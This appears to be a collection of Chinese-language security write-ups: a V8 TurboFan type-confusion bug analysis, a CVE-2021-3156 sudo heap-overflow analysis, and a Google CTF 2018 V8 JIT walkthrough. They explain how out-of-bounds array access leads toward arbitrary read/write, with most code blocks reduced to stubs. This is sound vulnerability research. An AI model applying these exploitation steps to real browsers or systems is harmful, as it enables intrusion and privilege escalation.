,以及kEffectPhi
、kTerminate
等,都没有其对应的具体操作,即没有调用对应的 VisitXXX
函数。实际上,这些空操作的结点,在图中只是用于标识某些状态信息。以kLoop
为例,该结点标识了一个循环的范围,但并不会实际翻译成对应的机器码。
以下是VisitNode
函数的源码:
1 | void InstructionSelector::VisitNode(Node* node) { |
以下是漏洞团队给出的 mini POC,该POC 可以触发 ReduceDeoptimizeOrReturnOrTerminateOrTailCall 函数,将 Terminate
结点优化成 Throw
结点。
1 | var obj = {}; |
输出如下:
注:图中的
[INFO]
[ERROR]
等输出,均为手动打 patch 的输出。
这个 Poc 构造难度相当大,归根到底是因为 JIT 的优化机制复杂多变,常常出现上一个优化的结果跨过好几个Phase后,被某个位于角落的优化代码给处理了。
这个 Poc 仍然需要再细细研究一下。
当 Terminate 结点被替换成 Throw 结点后,在 turboFan EffectControlLinearizationPhase 中,部分指令将被错误地调度。如果我们可以在 checkmap 结点前向目标对象的特定位置写入 -1,那么就可以成功达到 type confusion 的目的。即,在目标函数认出当前对象非预期对象之前(check map),将 -1 写入对应位置。
以下是 issue中给出的越界读取 exp
1 | class classA { |
运行结果如下(注意使用 release 版本的 v8 ):
注意该 exp 中的关键点:函数 f 经过多次 opt 以及 deopt,搭配函数内部中错误的指令调度,导致当传入了一个非 A 非 B 类型的数组后,成功在数组长度位置处写入 -1。
当获取到越界读取原语后,我们就可以构建 ArrayBuffer 并覆写其 backing_store 指针,进而构造任意地址读写原语 => 写入 shellcode => 执行并获取 shell。这方面内容就不再过多展开了,感兴趣的可以查看之前那个 GoogleCTF2018 (Final) JIT WP,内含后续构造的详细构造。
漏洞修复见如下链接 - revision1 | revision2。
新打的 patch 完成以下两操作:
将 Terminate 的优化操作从 DeadCodeElimination 中移除
因为 Terminate 结点并非实际控制流结点,因此不能转换成 Throw 结点。
对 Schedule 类成员中 可选的DCHECK 修改成 强制的CHECK。
Schedule 类成员函数对重建控制流起到了很重要的作用。在此处加强 check 将会降低重建异常控制流的可能性。
具体 diff 如下:
revision1:
1 |
|
revision2:
1 |
|
一点点总结:
call
/ p
指令,这样可以方便的通过对应类中内置的 Print 函数,直接在gdb中将 graph / node 打印输出,便于调试。实际上,对于这篇漏洞分析,笔者还是有点不太满意,因为受到技术水平的限制,实际要分析的 TypeConfusion 点并没有非常透彻的分析出来,因此这篇文章主体上还是侧重于介绍 JIT 中的一部分优化机制。
sudo
是Linux中一个非常重要的管理权限的软件,它允许用户使用 root 权限来运行程序。而CVE-2021-3156是sudo中存在一个堆溢出漏洞。通过该漏洞,任何没有特权的用户均可使用默认的sudo配置获取root权限。
该漏洞可以影响从1.8.2~1.8.31p2下的所有旧版本sudo,以及1.9.0~1.9.5p1的所有稳定版sudo。
Qualys漏洞团队于2021-01-13
联系 sudo 团队、2021-01-26
正式披露。
由于这个漏洞原理较为简单,同时又涉及到提权这种高危操作,并且其影响广泛(笔者一台虚拟机、一个WSL以及一台阿里云服务器均可被攻击),相当有趣。所以我们接下来就来简单分析一下这个漏洞。
首先通过以下命令获取 sudo 的源代码:
1 | sudo apt-get source sudo |
由于获取源代码时,apt-get 提示可直接 git clone 该程序的仓库,因此我们就直接 clone 其仓库:
1 | git clone https://salsa.debian.org/debian/sudo.git |
切换分支并编译 sudo,注意不要 install 。
1 | # 注意此时的工作目录必须是git仓库的根目录 |
环境配置到最后,root权限下已经可以执行编译出的sudo了。但无论有没有设置 LD_LIBRARY_PATH,普通用户仍然执行不了编译出的sudo。普通用户执行编译出的sudo的报错如下:
1 | ./sudo: error while loading shared libraries: libsudo_util.so.0: cannot open shared object file: No such file or directory |
既然普通用户执行不了sudo,那就先暂时用root权限调试。
在main函数中,程序会调用parse_args
函数以处理传入的参数。其中有一个处理转义字符的代码片段:
1 | /* |
当程序设置了 MODE_RUN 和 MODE_SHELL 标志后,控制流就会进入内部代码,构造 shell -c <command>
指令,并在其中处理<command>
中的一些转义字符,在这些转义字符前添加反斜杠。
若执行 sudo 时设置了 -s
或-i
参数,则在parse_args
函数中将会同时设置 MODE_RUN 和 MODE_SHELL 标志:
1 | int |
这样就可以成功进入处理转义字符的代码片段。
当程序执行完parse_args
后,沿以下调用链最终调用到set_cmnd
函数:
1 | int main(int argc, char *argv[], char *envp[]) |
需要注意的是,只有在 parse_args 函数返回的 sudo_mode 设置了 MODE_RUN,才会调用 policy_check 函数,这是整条调用链上唯一的条件判断。
1 | int |
在 set_cmnd 函数中,如果同时满足以下三个条件,则程序将会取消参数中的转义:
具体代码见如下:
1 | /* |
由于 set_cmnd 函数的执行会基于原先传入sudo的参数已经在 parse_args 中被转义的前提下,因此如果传入的参数是以单个反斜杠结尾,则在取消转义的循环中,将会产生以下影响:
from[0] == '\\' && !isspace((unsigned char)from[1])
,因此from指针向下移动 1 byte,指向参数的NULL byte。*to++ = *from++
,将 NULL byte 复制到 user_args 堆数组中,同时 from 指针继续向下移动,指向 NULL byte的下一个字节位置(注意此时已经超出了参数的范围)。但通常我们是没有办法传入一个单反斜杠进入 set_cmnd 函数中,因为在 parse_args 函数中,若 MODE_SHELL 或 MODE_LOGIN_SHELL 标志被设置,那么所有的转义字符将在 parse_args 函数中被转义,包括反斜杠。 (MODE_RUN 默认已经设置)。
但实际上,set_cmnd 中取消转义的条件判断与 parse_args 函数中添加转义的条件判断有所不同。
Functions | Mode Comditions |
---|---|
parse_args | MODE_RUN && MODE_SHELL |
set_cmnd | (MODE_RUN | MODE_EDIT | MODE_CHECK) && (MODE_SHELL | MODE_LOGIN_SHELL) |
那么我们能否绕过 parse_args 的添加转义操作,并到达 set_cmnd 的取消转义操作呢?即,能否在设置 MODE_SHELL 标志的前提下,取消 MODE_RUN 标志,但又设置了 MODE_EDIT 或 MODE_CHECK,使得可以绕过添加转义操作,并成功执行取消转义操作?
上面说的条件有点绕,总结一下就是这样
1 MODE_SHELL && !MODE_RUN && (MODE_EDIT || MODE_CHECK)
答案似乎是否定的,因为如果我们直接给 sudo 传入-l
或-e
参数,则 valid_flags 标志将会设置为 MODE_NONINTERACTIVE 或 MODE_LONG_LIST。
而此时的 flags 标志为 MODE_SHELL 或 MODE_LOGIN_SHELL,因此使得我们无法绕过一个特殊的判断条件:flags & valid_flags) != flags
。
1 | int |
但天无绝人之路,如果 sudo 是以 sudoedit 启动的(注意 sudoedit 是一个符号链接,直接指向 /bin/sudo),那么就可以在不修改 valid_flags 的前提下,设置 mode 为 MODE_EDIT:
1 | /* |
而 valid_flags 的默认值中设置了 MODE_SHELL 以及 MODE_LOGIN_SHELL ,因此可以通过该判断条件。
所以最后,我们可以:
- 绕过 parse_args 的添加转义操作。
- 进入 set_cmnd 的取消转义操作。
并最终越界写入数据至堆数组 user_args。
这个漏洞相当的理想,因为它可以使得:
user_args 堆内存长度可控。因为 user_args的长度取决于传入 sudoedit 的参数长度:
1 | // 该代码片段位于 set_cmnd 函数中 |
越界写入的数据可控。因为存放传入 sudoedit 参数的内存位置与环境变量紧紧相临,因此我们可以通过指定特定环境变量来控制越界写入的数据:
可以用单个反斜杠来写入单个NULL byte,具体请阅读上面的触发过程。
Qualys漏洞团队给出了一个非常精简的POC,该 POC 可以触发 malloc 的 corrupt。
1 | # 执行指令 |
可以看到这个 POC 满足我们刚刚所分析的那样:
-s
参数设置 MODE_SHELL 标志因此可以触发 crash。
根据 Qualys 漏洞团队披露出的 exploit 构造细节(详见第二条参考连接),最少有三种构造 exp 的方式。但笔者调试时发现这其中存在一些问题:
如果以第一种方式来越界写入将近 0x1000 个字节的数据至对应堆内存上,来覆盖函数指针,则在越界写入内存至使用函数指针的这个过程上,存在解引用被覆盖内存上的指针的操作,这将导致程序崩溃,且没有办法绕过。
如果以第二种方式来试图越界写入内存至 service_user 结构。由于 user_args 堆数组的地址高于后分配的 service_user 结构,因此我们没有办法覆盖到该结构。
这个问题大概率受到 glibc 版本的影响,笔者在自己非标准 glibc 上测试会出现该问题。
第三种方法难度较大,原理较为复杂,暂时没有去研究。
至于为什么 Qualys 漏洞团队可以利用成功,可能是因为其 exploit 是 fuzz 出的,即可以使 sudo 恰好达到预期的目的(例如使用函数指针 / 欲覆盖对象在 user_args 堆数组的高地址处等等)。
该漏洞实际上是低权限用户突破高权限程序的保护,从而获取高权限的情形。
我们可以执行以下命令,查看 sudo 程序的权限:
1 | ls /bin/sudo -al |
输出如下:
1 | -rwsr-xr-x 1 root root 161512 Oct 29 2019 /bin/sudo |
可以看到,sudo 的 owner 是 root,权限是 rws
。rwx
我们都知道是 可读可写可执行,但 rws 又是什么呢?
实际上,s
标志代表的是 setuid标志。一个可执行文件在执行时,一般该程序只拥有调用该程序的用户具有的权限,而 setuid标志可以让普通用户以 owner 权限运行只有 owner 帐号才能运行的程序或命令。
在 sudo 这个例子中,owner 是 root。
因此,倘若含有 setuid 标志的软件存在漏洞,那我们就可以通过这些漏洞来获取更高权限。
以下是一个简单的 test case:
1 | // test.c |
执行以下命令:
1 | # 当前为user权限 |
即,对于那些 owner 为 root 、执行权限为 rws
的程序,若该程序内部执行了setuid(0)
和setgid(0)
,那么该程序就成功提权至 root。
这个样例同样适用于 sudo 程序。
v8 是一种 JS 引擎的实现,它由Google开发,使用C++编写。
v8 被设计用于提高网页浏览器内部 JavaScript 代码执行的性能。为了提高性能,v8 将会把 JS 代码转换为更高效的机器码,而非传统的使用解释器执行。因此 v8 引入了 JIT (Just-In-Time) 机制,该机制将会在运行时动态编译 JS 代码为机器码,以提高运行速度。
TurboFan是 v8 的优化编译器之一,它使用了 sea of nodes 这个编译器概念。
sea of nodes 不是单纯的指某个图的结点,它是一种特殊中间表示的图。
它的表示形式与一般的CFG/DFG不同,其具体内容请查阅上面的连接。
TurboFan的相关源码位于v8/compiler
文件夹下。
这是笔者初次学习v8 turboFan所写下的笔记,内容包括但不限于turboFan运行参数的使用、部分OptimizationPhases
的工作机理,以及拿来练手的GoogleCTF 2018(Final) Just-In-Time
题题解。
该笔记基于 Introduction to TurboFan 并适当拓宽了一部分内容。如果在阅读文章时发现错误或者存在不足之处,欢迎各位师傅斧正!
这里的环境搭建较为简单,首先搭配一个 v8 环境(必须,没有 v8 环境要怎么研究 v8, 2333)。这里使用的版本号是7.0.276.3。
如何搭配v8环境?请移步 下拉&编译 chromium&v8 代码
这里需要补充一下,v8 的 gn args中必须加一个v8_untrusted_code_mitigations = false
的标志,即最后使用的gn args如下:
1 | # Set build arguments here. See `gn help buildargs`. |
具体原因将在下面讲解CheckBounds
结点优化时提到。
然后安装一下 v8 的turbolizer,turbolizer将用于调试 v8 TurboFan中sea of nodes
图的工具。
1 | cd v8/tools/turbolizer |
构建turbolizer时可能会报一些TypeScript的语法错误ERROR,这些ERROR无伤大雅,不影响turbolizer的功能使用。
turbolizer 的使用方式如下:
首先编写一段测试函数
1 | // 目标优化函数 |
一定要在执行
%OptimizeFunctionOnNextCall(opt_me)
之前调用一次目标函数,否则生成的graph将会因为没有type feedback而导致完全不一样的结果。需要注意的是type feedback有点玄学,在执行
OptimizeFunctionOnNextCall
前,如果目标函数内部存在一些边界操作(例如多次使用超过Number.MAX_SAFE_INTEGER
大小的整数等),那么调用目标函数的方式可能会影响turboFan的功能,包括但不限于传入参数的不同、调用目标函数次数的不同等等等等。因此在执行
%OptimizeFunctionOnNextCall
前,目标函数的调用方式,必须自己把握,手动确认调用几次,传入什么参数会优化出特定的效果。
若想优化一个函数,除了可以使用%OptimizeFunctionOnNextCall
以外,还可以多次执行该函数(次数要大,建议上for循环)来触发优化。
然后使用 d8 执行,不过需要加上--trace-turbo
参数。
1 | $ ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax --trace-turbo |
之后本地就会生成turbo.cfg
和turbo-xxx-xx.json
文件。
使用浏览器打开127.0.0.1:8000
(注意之前在turbolizer文件夹下启动了http服务)
然后点击右上角的3号按钮,在文件选择窗口中选择刚刚生成的turbo-xxx-xx.json
文件,之后就会显示以下信息:
不过这里的结点只显示了控制结点,如果需要显示全部结点,则先点击一下上方的2号按钮,将结点全部展开,之后再点击1号按钮,重新排列:
我们可以使用 --trace-opt
参数来追踪函数的优化信息。以下是函数opt_me
被turboFan优化时所生成的信息。
1 | $ ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax --trace-opt |
上面输出中的
manually marking
即我们在代码中手动设置的%OptimizeFunctionOnNextCall
。
我们可以使用 v8 本地语法来查看优化前和优化后的机器码(使用%DisassembleFunction
本地语法)
输出信息过长,这里只截取一部分输出。
1 | $ ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax |
可以看到,所生成的代码长度从原先的995,优化为212,大幅度优化了代码。
需要注意的是,即便不使用
%OptimizeFunctionOnNextCall
,将opt_me
函数重复执行一定次数,一样可以触发TurboFan的优化。
细心的小伙伴应该可以在上面环境搭建的图中看到deoptimize
反优化。为什么需要反优化?这就涉及到turboFan的优化机制。以下面这个js代码为例(注意:没有使用%OptimizeFunctionOnNextCall
)
1 | class Player{} |
跟踪一下该代码的opt以及deopt:
1 | $ ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax --trace-opt --trace-deopt |
move
函数被标记为可优化的(optimized recompilation),原因是该函数为small function。然后便开始重新编译以及优化。move
函数再一次被标记为可优化的,原因是hot and stable
。这是因为 v8 首先生成的是 ignition bytecode。 如果某个函数被重复执行多次,那么TurboFan就会重新生成一些优化后的代码。以下是获取优化理由的的v8代码。如果该JS函数可被优化,则将在外部的v8函数中,mark该JS函数为待优化的。
1 | OptimizationReason RuntimeProfiler::ShouldOptimize(JSFunction* function, |
但接下来就开始deopt move函数了,原因是Insufficient type feedback for construct
,目标代码是move(new Wall())
中的new Wall()
。
这是因为turboFan的代码优化基于推测,即speculative optimizations
。当我们多次执行move(new Player())
时,turboFan会猜测move函数的参数总是Player
对象,因此将move函数优化为更适合Player
对象执行的代码,这样使得Player
对象使用move函数时速度将会很快。
这种猜想机制需要一种反馈来动态修改猜想,那么这种反馈就是 type feedback,Ignition instructions将利用 type feedback来帮助TurboFan的speculative optimizations
。
v8源码中,
JSFunction
类中存在一个类型为FeedbackVector
的成员变量,该FeedbackVector将在JS函数被编译后启用。
因此一旦传入的参数不再是Player
类型,即刚刚所说的Wall
类型,那么将会使得猜想不成立,因此立即反优化,即销毁一部分的ignition bytecode并重新生成。
需要注意的是,反优化机制(deoptimization)有着巨大的性能成本,应尽量避免反优化的产生。
下一个deopt
的原因为wrong map
。这里的map可以暂时理解为类型。与上一条deopt的原因类似,所生成的move
优化函数只是针对于Player
对象,因此一旦传入一个Wall
对象,那么传入的类型就与函数中的类型不匹配,所以只能开始反优化。
如果我们在代码中来回使用Player
对象和Wall
对象,那么TurboFan也会综合考虑,并相应的再次优化代码。
turboFan的代码优化有多条执行流,其中最常见到的是下面这条:
从Runtime_CompileOptimized_Concurrent
函数开始,设置并行编译&优化 特定的JS函数
1 | // v8\src\runtime\runtime-compiler.cc 46 |
在Compiler::CompileOptimized
函数中,继续执行GetOptimizedCode
函数,并将可能生成的优化代码传递给JSFunction
对象。
1 | // v8\src\compiler.cc |
GetOptimizedCode
的函数代码如下:
1 | // v8\src\compiler.cc |
函数代码有点长,这里总结一下所做的操作:
如果之前该函数被mark为待优化的,则取消该mark(回想一下--trace-opt
的输出)
如果debugger需要hook该函数,或者在该函数上下了断点,则不优化该函数,直接返回。
如果之前已经优化过该函数(存在OptimizedCodeCache),则直接返回之前优化后的代码。
重置当前函数的profiler ticks
,使得该函数不再hot,这样做的目的是使当前函数不被重复优化。
如果设置了一些禁止优化的参数(例如%NeverOptimizeFunction
,或者设置了turbo_filter
),则取消当前函数的优化。
以上步骤完成后则开始优化代码,优化代码也有两种不同的方式,分别是并行优化和非并行优化。在大多数情况下执行的都是并行优化,因为速度更快。
并行优化会先执行GetOptimizedCodeLater
函数,在该函数中判断一些异常条件,例如任务队列已满或者内存占用过高。如果没有异常条件,则执行OptimizedCompilationJob::PrepareJob
函数,并继续在更深层次的调用PipelineImpl::CreateGraph
来建图。
如果GetOptimizedCodeLater
函数工作正常,则将会把优化任务Job
放入任务队列中。任务队列将安排另一个线程执行优化操作。
另一个线程的栈帧如下,该线程将执行Job->ExecuteJob
并在更深层次调用PipelineImpl::OptimizeGraph
来优化之前建立的图结构:
当另一个线程在优化代码时,主线程可以继续执行其他任务:
综上我们可以得知,JIT最终的优化位于PipelineImpl
类中,包括建图以及优化图等
1 | // v8\src\compiler\pipeline.cc |
与LLVM IR的各种Pass类似,turboFan中使用各类phases进行建图、搜集信息以及简化图。
以下是PipelineImpl::CreateGraph
函数源码,其中使用了大量的Phase
。这些Phase
有些用于建图,有些用于优化(在建图时也会执行一部分简单的优化),还有些为接下来的优化做准备:
1 | bool PipelineImpl::CreateGraph() { |
PipelineImpl::OptimizeGraph
函数代码如下,该函数将会对所建立的图进行优化:
1 | bool PipelineImpl::OptimizeGraph(Linkage* linkage) { |
由于上面两个函数涉及到的Phase
众多,这里请各位自行阅读源码来了解各个Phase的具体功能。
接下来我们只介绍几个比较重要的Phases
:GraphBuilderPhase
、TyperPhase
和SimplifiedLoweringPhase
。
GraphBuilderPhase
将遍历字节码,并建一个初始的图,这个图将用于接下来Phase的处理,包括但不限于各种代码优化。
一个简单的例子
TyperPhase
将会遍历整个图的所有结点,并给每个结点设置一个Type
属性,该操作将在建图完成后被执行
给每个结点设置Type的操作是不是极其类似于编译原理中的语义分析呢? XD
1 | bool PipelineImpl::CreateGraph() { |
其中,具体执行的是TyperPhase::Run
函数:
1 | struct TyperPhase { |
在该函数中继续调用Typer::Run
函数,并在GraphReducer::ReduceGraph
函数中最终调用到Typer::Visitor::Reduce
函数:
1 | void Typer::Run(const NodeVector& roots, |
在Typer::Visitor::Reduce
函数中存在一个较大的switch结构,通过该switch结构,当Visitor遍历每个node时,即可最终调用到对应的XXXTyper
函数。
例如,对于一个JSCall结点,将在TyperPhase中最终调用到
Typer::Visitor::JSCallTyper
这里我们简单看一下JSCallTyper
函数源码,该函数中存在一个很大的switch结构,该结构将设置每个Builtin
函数结点的Type
属性,即函数的返回值类型。
1 | Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { |
而对于一个常数NumberConstant
类型,TyperPhase
也会打上一个对应的类型
1 | Type Typer::Visitor::TypeNumberConstant(Node* node) |
而在Type::NewConstant
函数中,我们会发现一个神奇的设计:
1 | Type Type::NewConstant(double value, Zone* zone) { |
对于JS代码中的一个NumberConstant,实际上设置的Type是一个Range,只不过这个Range的首尾范围均是该数,例如NumberConstant(3) => Range(3, 3, zone)
以下这张图可以证明TyperPhase
正如预期那样执行:
与之相应的,v8采用了SSA。因此对于一个Phi结点,它将设置该节点的Type为几个可能值的Range的并集。
1 | Type Typer::Visitor::TypePhi(Node* node) { |
请看以下示例:
SimplifiedLoweringPhase
会遍历结点做一些处理,同时也会对图做一些优化操作。
这里我们只关注该Phase
优化CheckBound
的细节,因为CheckBound
通常是用于判断 JS数组(例如ArrayBuffer) 是否越界使用 所设置的结点。
首先我们可以通过以下路径来找到优化CheckBound
的目标代码:
1 | SimplifiedLoweringPhase::Run |
目标代码如下:
1 | // Dispatching routine for visiting the node {node} with the usage {use}. |
可以看到,在CheckBound
的优化判断逻辑中,如果当前索引的最大值小于length的最小值,则表示当前索引的使用没有越界,此时将会移除CheckBound
结点以简化IR图。
需要注意NumberConstant结点的Type是一个Range类型,因此才会有最大值Max和最小值Min的概念。
这里需要解释一下环境搭配中所说的,为什么要添加一个编译参数v8_optimized_debug = false
,注意看上面判断条件中的这行条件
1 | if (lower() && lowering->poisoning_level_ == |
visitNode
时有三个状态,分别是Phase::PROPAGATE
(信息收集)、Phase::RETYPE
(从类型反馈中获取类型)以及Phase::LOWER
(开始优化)。当真正开始优化时,lower()
条件自然成立,因此我们无需处理这个。
但对于下一个条件,通过动态调试可以得知,poisoning_level
始终不为PoisoningMitigationLevel::kDontPoison
。通过追溯lowering->poisoning_level_
,我们可以发现它实际上在PipelineCompilationJob::PrepareJobImpl
中被设置
1 | PipelineCompilationJob::Status PipelineCompilationJob::PrepareJobImpl( |
而FLAG_branch_load_poisoning
始终为false
,FLAG_untrusted_code_mitigations
始终为true
编译参数v8_untrusted_code_mitigations 默认 true,使得宏DISABLE_UNTRUSTED_CODE_MITIGATIONS没有被定义,因此默认设置
FLAG_untrusted_code_mitigations = true
1 | // v8/src/flag-definitions.h |
1 | # BUILD.gn |
这样就会使得load_poisoning
始终为PoisoningMitigationLevel::kPoisonCriticalOnly
,因此始终无法执行checkBounds
的优化操作。所以我们需要手动设置编译参数v8_untrusted_code_mitigations = false
,以启动checkbounds的优化。
以下是一个简单checkbounds优化的例子
1 | function f(x) |
优化前发现存在一个checkBounds:
执行完SimplifiedLoweringPhase
后,CheckBounds
被优化了:
基础概念介绍到这里,接下来我们学习一道CTF题来练练手。
Google CTF 2018(final) Just-In-Time 是 v8 的一道基础题,适合用于v8即时编译的入门,其目标是执行/usr/bin/gnome-calculator
以弹出计算器。在这里我们通过这道题目来学习一下v8的相关概念。
这道题的题解在安全客上有很多,但由于这是笔者初次接触 v8 的题,因此这次我们就详细讲一下其中的细节。
题目给的附件(ctftime中的附件,不是github上的附件)内含一个已编译好的chromium和两个patch文件。
nosandbox.patch
: 该文件用于关闭renderer的沙箱机制。addition-reducer.patch
: 本题的重头戏。chromium
:版本号为70.0.3538.9
的二进制包(已打patch)不过由于笔者已经搭了v8的环境,因此决定采用源码编译的方式来编译出一个v8,这样的好处是可以更方便的进行调试。该题的v8版本为7.0.276.3,可以通过chrome://version
来获取,或者去OmahaProxy CSV Viewer中查询。
1 | # 开代理 |
为什么要设置
v8_untrusted_code_mitigations = false
,请查看上面关于SimplifiedLoweringPhase
中checkbounds优化的简单讲解。这里可能是因为出题者忘记给出v8的编译参数了,否则默认的编译参数将无法利用漏洞。
新打的patch将在turboFan中的TypedLoweringPhase
中添加了一种优化方式。
1 | Reduction DuplicateAdditionReducer::Reduce(Node* node) { |
该优化方式将优化诸如x + 1 + 2
这类的表达式为x + 3
,即以下的Case4:
但是,还记得我们之前所提到的,NumberConstant的内部实现使用的是double
类型。这就意味着这样的优化可能存在精度丢失。举个例子:
即,x + 1 + 1
不一定会等于x + 2
!所以这种优化是存在问题的。
这是为什么呢?原因是浮点数的IEEE764标准。当一个浮点数越来越大时,有限的空间只能保留高位的数据,因此一旦浮点数的值超过某个界限时,低位数值将被舍弃,此时数值不能全部表示,存在精度丢失。
而这个界限正是 $2^{53}-1 = 9007199254740991$,即上图中的MAX_sAFE_INTEGER
。
1 | // 以下是double结构的9007199254740991值,可以看到正好是double结构所能存放的最大整数。 |
由于x + 1 + 1 <= x + 2
,因此某个NumberAdd
结点的Type
,也就是其Range将会小于该结点本身的值 。例如
9007199254740992
连续两次 +1 后,由于精度丢失,导致最后一个NumberAdd
结点的Type为Range(9007199254740992,9007199254740992)
。9007199254740994
,大于Range的最大值。我们先试一下POC
1 | function f(x) |
Type后的结果如下,可以看到checkbounds的检查可以通过:
因此该checkbounds将在SimplifiedLoweringPhase
中被优化:
输出的结果如下:
注:输出结果中的
DuplicateAdditionReducer::ReduceAddition Called/Success
,是打patch后的输出内容,在原v8中没有该输出。
可以看到,成功将两个+1操作优化为+2,并在最末尾处成功越界读取到一个数组外的元素。
这里需要说一下构建poc可能存在的问题:
POC1:无 if 分支
1 | function f(x) |
问题点:由于函数中常数与常数相加减,因此在执行TypedLoweringPhase
中的ConstantFoldingReducer
时,三个算数表达式会直接优化为一个常数,这样就没办法执行DuplicateAdditionReducer
。
解决方法:使用一个if
分支,这样就可以通过phi
结点来间接设置Range
。
以下是一些玄学问题。
POC2:使用Number.MAX_SAFE_INTEGER
1 | function f(x) |
问题点:在GraphBuilderPhase
中,type feedback推测目标函数的参数只会为1
,因此turboFan推测函数中的条件判断式 “恒”成立 ,故在InliningPhase
中优化merge
结点,使得变量t
始终为一个常数。
之后就执行TypedLoweringPhase
中的ConstantFoldingReducer
再次将其优化为一个常数,以至于无法执行DuplicateAdditionReducer
优化。
通过turbolizer我们可以看出,若判断条件为真,则将优化好的结果输出;若判断条件为假,则说明type feedback出现错误,需要执行deopt。
至于为什么先前的poc不会优化merge结点,而当前这个poc会优化merge结点,
这个问题仍然需要进一步探索。
解决方法:
不同时在 if 语句的两个分支处使用Number.MAX_SAFE_INTEGER
1 | function f(x) |
在执行%OptimizeFunctionOnNextCall
前,使函数调用传入的参数不单一:
1 | function f(x) |
POC3:不使用let/var/const
修饰词
1 | function f(x) |
问题点:经过gdb动态调试可知,若数组前没有修饰词,则CheckBounds
的上一个结点LoadField
结点将不会被LoadEliminationPhase
优化,这样使得数组length
结点的范围最大值为134217726,最后导致无法成功优化CheckBounds
结点:
同时,若变量t
前没有修饰词,则越界的add
操作将被check
出,进而设置值为inf/NaN
,之后的减法就无法计算出我们所期望的Range值:
解决方法:添加修饰词。
因为没有修饰词 let / var 的变量都是全局变量,而 Load Elimination 的优化对作用域有一定的要求,因此全局变量的 LoadField 结点将不会被优化。
POC4:使用整数数组
1 | function f(x) |
问题点:执行console.log
时崩溃:
解决方法:更改数组类型。经过一番测试,发现貌似只能改成浮点数数组,改成其他类型的输出都会崩溃。
小结:构造POC需要重复多次 修改代码 => 观察输出 => 从turbolizer中查看结点图 => 分析错误原因 这个过程,有时还需要给源码打patch和上gdb调试,需要耐心。
构造POC时,只需要关注两个重点:
能否成功执行DuplicateAdditionReducer
优化
能否成功优化CheckBounds
结点。
如果这两个条件都满足,那基本上构建出的POC可以OOB了。
POC有了,那我们试着看一下越界读取到的内存位置,
不出以外的话应该是最后一个元素5.5
的下一个8位数据:
1 | function f(x) |
启动GDB,可以看到 d8 自动暂停执行:
之后我们可以找到DebugPrint出的数组内存地址:
每个Object内部都有一个map,该map用于描述对应结构的相关属性。其中包括了当前Object的实例大小,以及一些供GC使用的信息。通过上面的输出,我们可以得到,当前JSArray的实例大小只有32字节。
map的具体信息请查阅源码 src/objects/map.h 中的注释。
因此,数组中的其他元素肯定存放于另一个数组,而这个数组的类型为FixedDoubleArray
,其地址存放于JSArray中。
需要注意的是:v8 中的指针值大多被打上了tag,以便于区分某个值是pointer还是smi。
因此在gdb使用某个地址时,最低位需要手动置0。
以下是某个 JSArray 的内存布局:
注意到 JSArray中,第四个8字节数据(即上图中的0x0000000500000000
)存放的是当前数组的length(5),即便数组元素并没有存放在当前这块内存上。
1 | // v8/src/objects/js-array.h |
回到刚刚的话题,数组的值被存放在FixedDoubleArray
中,因此我们输出一下内存布局看看:
可以看到,它越界读取到的数据与先前猜测的一致,即最后一个元素的下一个8字节数据。
同时我们还可以从 gdb 的输出中注意到,一个 JSArray的length 即在 JSArray 中保存,又在 FixedDoubleArray 中存放着,这个也可以在源码中直接定位到操作:
1 | // v8/src/objects/js-array-inl.h |
但实际上, FixedDoubleArray 中的 length 只用于提供有关固定数组分配的信息,而越界检查只会检查 JSArray 的length,这意味着我们必须修改 JSArray 的 length 才可以进行任意地址读写。
以下是检测数组访问是否越界的代码:
1 | // v8/src/ic/ic.cc |
为了验证上述内容的正确性,笔者手动用gdb修改了 JSArray 的 length,发现在 release 版本的v8下可以越界读取。但在 debug 版本下,会触发FixedArray
中的DCHECK
检查导致崩溃:
1 | // v8/src/objects/fixed-array-inl.h |
因此在编译 debug 版本的 v8 时,需要手动注释掉src/objects/fixed-array-inl.h
中越界检查的DCHECK
请勿直接编译 release 版本的v8来关闭DCHECK,这会大大提高调试难度。
我们将 FixedArray 的内存布局输出,可以发现 JSArray 和 FixedArray 的数据是紧紧相邻的,且 FixedArray 位于低地址处,这为我们修改 JSArray 的 length 提供了一个非常好的条件:
现在我们可以试着越界修改一下 JSArray 的 length。需要注意我们必须越界四格才能修改到length,因此需要稍微修改一下POC越界的范围:
1 | function f(x) |
最后输出了1.4853970537e-313
,用gdb转换成int类型,刚好为7
,这就意味着我们现在可以修改 JSArray 的 length 了。
试一试:
1 | var oob_arr = []; |
可以发现,越界读写成功!
在附件chromium中试试发现也是可以正常工作的:
但我们发现 v8 和 chromium 输出的值不一样,所以调试 d8 编写 JS 后还需要到 chromium 这边验证一下。
这里有个注意点,在被turboFan优化过的函数中读写数组,其越界判断不会通过我们所熟知的
Runtime_KeyedLoadIC_Miss
函数,因此越界操作最好在被优化的函数外部执行。
现在我们已经成功让 JSArray 实现大范围向后越界读取,但这明显不够,因为 JSArray 只能向后越界读写 0x40000000
字节,有范围限制。
1 | // v8/src/objects/fixed-array.h |
看样子我们可以再次声明一个 JSArray ,然后越界修改其 elements 地址以达到任意地址读写的目的?实际上是不行的,因为每一个 element 都有其对应的 map 指针,如果我们要通过修改 elements 地址来进行任意读的话,我们还必须在目标地址手动伪造一个 fake map,但通常我们是没有办法来伪造的。
因此接下来我们将引入漏洞利用中比较常用的类型:ArrayBuffer。
ArrayBuffer
是漏洞利用中比较常见的一个对象,这个对象用于表示通用的、固定长度的原始二进制数据缓冲区。通常我们不能直接操作ArrayBuffer
的内容,而是要通过类型数组对象(JSTypedArray)或者DataView
对象来操作,它们会将缓冲区中的数据表示为特定的格式,并且通过这些格式来读写缓冲区的内容。
而 ArrayBuffer中的缓冲区内存,就是 v8 中 JSArrayBuffer 对象中的 backing_store 。
需要注意的是,ArrayBuffer 自身也有 element。这个 element 和 backing_store 不是同一个东西:element 是一个 JSObject,而 backing_store 只是单单一块堆内存。 因此,单单修改 element 或 backing_store 里的数据都不会影响到另一个位置的数据。
以下是一个简单的 JS 测试代码:
1 | buffer = new ArrayBuffer(0x400); |
浏览器中输出的结果:
gdb中输出的地址信息:
我们可以很容易的推测出,那些 JSTypedArray 读写的都是 ArrayBuffer 的 backing_store,因此如果我们可以任意修改 ArrayBuffer 的 backing_store,那么就可以通过 JSTypedArray 进行任意地址读写。
